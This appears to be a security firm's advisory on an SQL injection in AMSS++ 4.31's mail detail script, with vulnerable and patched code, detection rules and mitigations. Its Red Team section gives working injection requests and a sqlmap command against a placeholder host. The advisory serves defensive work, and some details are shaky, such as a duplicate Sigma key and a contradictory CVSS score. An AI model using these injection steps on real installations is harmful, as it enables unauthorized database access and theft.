CVE-2020-37141

Executive Summary

CVE-2020-37141 is a critical SQL injection vulnerability discovered in AMSS++ version 4.31, specifically within the mail module's maildetail.php script. The vulnerability resides in the id parameter, which is directly concatenated into SQL queries without proper sanitization or parameterization. An unauthenticated attacker can exploit this flaw by sending a crafted HTTP request to /modules/mail/main/maildetail.php?id=[SQL_Payload], potentially leading to unauthorized access, data exfiltration, or modification of the underlying database. The CVSS score is 0.0 due to incomplete NVD data, but based on the nature of the vulnerability, the vector indicates a high severity with network-based, low-complexity exploitation requiring no privileges or user interaction. No public proof-of-concept (PoC) or exploit code has been identified, and no patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby) but is a standalone web application (AMSS++). Therefore, supply chain security considerations are limited to ensuring the application is not deployed from untrusted sources and that any third-party libraries used by AMSS++ are also patched.

CVSS Breakdown & Threat Level

The CVSS vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H indicates:

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The impact is confined to the vulnerable component.
• Confidentiality (C): High – Full database read access is possible.
• Integrity (I): High – Database records can be modified or deleted.
• Availability (A): High – Database operations can be disrupted.

Threat Level: Critical. The combination of network exploitability, no authentication, and full impact on confidentiality, integrity, and availability makes this a high-priority vulnerability for any organization using AMSS++ 4.31.

Deep Dive & Mechanics

The vulnerability exists in the file /modules/mail/main/maildetail.php. The id parameter is taken directly from the HTTP GET request and used in a SQL query without any sanitization or prepared statements. For example, the vulnerable code might look like:

$id = $_GET['id'];
$query = "SELECT * FROM mail WHERE id = $id";
$result = mysqli_query($conn, $query);

An attacker can inject SQL commands by appending a single quote or other SQL metacharacters to the id parameter. For instance, a payload like 1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 could be used to enumerate the database structure. The vulnerability is blind or error-based depending on the database configuration.

Vulnerable vs. Patched Code

Vulnerable Code (AMSS++ 4.31):

<?php
$id = $_GET['id'];
$query = "SELECT * FROM mail WHERE id = $id";
$result = mysqli_query($conn, $query);
?>

Patched Code (Hypothetical):

<?php
$id = intval($_GET['id']);
$stmt = $conn->prepare("SELECT * FROM mail WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from data. The intval() function also ensures the input is an integer, further reducing risk.

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker would send a crafted HTTP GET request to the vulnerable endpoint. Since no public exploit code exists, a manual approach is required.

Step 1: Identify the vulnerable parameter.

curl "http://target.com/modules/mail/main/maildetail.php?id=1"

Step 2: Test for SQL injection using a single quote.

curl "http://target.com/modules/mail/main/maildetail.php?id=1'"

If an error is returned (e.g., MySQL error), the parameter is injectable.

Step 3: Extract database information using UNION-based injection.

curl "http://target.com/modules/mail/main/maildetail.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- -"

Step 4: Use sqlmap for automated exploitation.

sqlmap -u "http://target.com/modules/mail/main/maildetail.php?id=1" --batch --dbs

Blue Team

To detect exploitation attempts, monitor HTTP GET requests to /modules/mail/main/maildetail.php for anomalous id parameter values. Look for:

• Single quotes (')
• SQL keywords like UNION, SELECT, FROM, WHERE, OR, AND
• Comments (--, #, /*)
• Excessive length or special characters

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /modules/mail/main/maildetail.php with id parameter containing SQL metacharacters.
  • Outbound database connections from the web server to unexpected IPs.
  • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

• Host IOCs:

  • Modified or new files in the web root (e.g., webshells).
  • Suspicious entries in web server access logs (e.g., id=1 UNION SELECT).
  • Database logs showing unexpected queries or errors.

• File IOCs:

  • /modules/mail/main/maildetail.php (vulnerable file).

Detection Engineering

YARA Rule

rule CVE_2020_37141_AMSS_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting AMSS++ maildetail.php"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2020-37141"
    strings:
        $s1 = "/modules/mail/main/maildetail.php" nocase
        $s2 = "id=" nocase
        $sqli1 = /id=[^&]*['\"]/ nocase
        $sqli2 = /id=[^&]*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR 1=1)/ nocase
    condition:
        $s1 and $s2 and ($sqli1 or $sqli2)
}

Sigma Rule

title: CVE-2020-37141 AMSS++ SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against AMSS++ maildetail.php
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "/modules/mail/main/maildetail.php"
        cs-uri-query|contains: "id="
    sqli_patterns:
        - cs-uri-query|contains: "'"
        - cs-uri-query|contains: "UNION"
        - cs-uri-query|contains: "SELECT"
        - cs-uri-query|contains: "OR 1=1"
    condition: selection and 1 of sqli_patterns
falsepositives:
    - Legitimate use of single quotes in ID parameter (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2020-37141 AMSS++ SQL Injection Attempt";
    flow:to_server,established;
    content:"/modules/mail/main/maildetail.php"; http_uri;
    content:"id="; http_uri;
    pcre:"/id=[^&]*['\"]/Ui";
    pcre:"/id=[^&]*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR 1=1)/Ui";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Since no official patch is available, the following mitigations are recommended:

1. Input Validation: Implement strict input validation for the id parameter. Ensure it only accepts numeric values.
2. Parameterized Queries: Rewrite the vulnerable code to use prepared statements with parameterized queries.
3. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing SQL injection patterns in the id parameter.
4. Least Privilege: Ensure the database user used by the application has minimal privileges (e.g., read-only where possible).
5. Monitor Logs: Actively monitor web server and database logs for suspicious activity.
6. Upgrade: If a patched version becomes available, upgrade immediately. Otherwise, consider replacing AMSS++ with a supported alternative.

Valters IT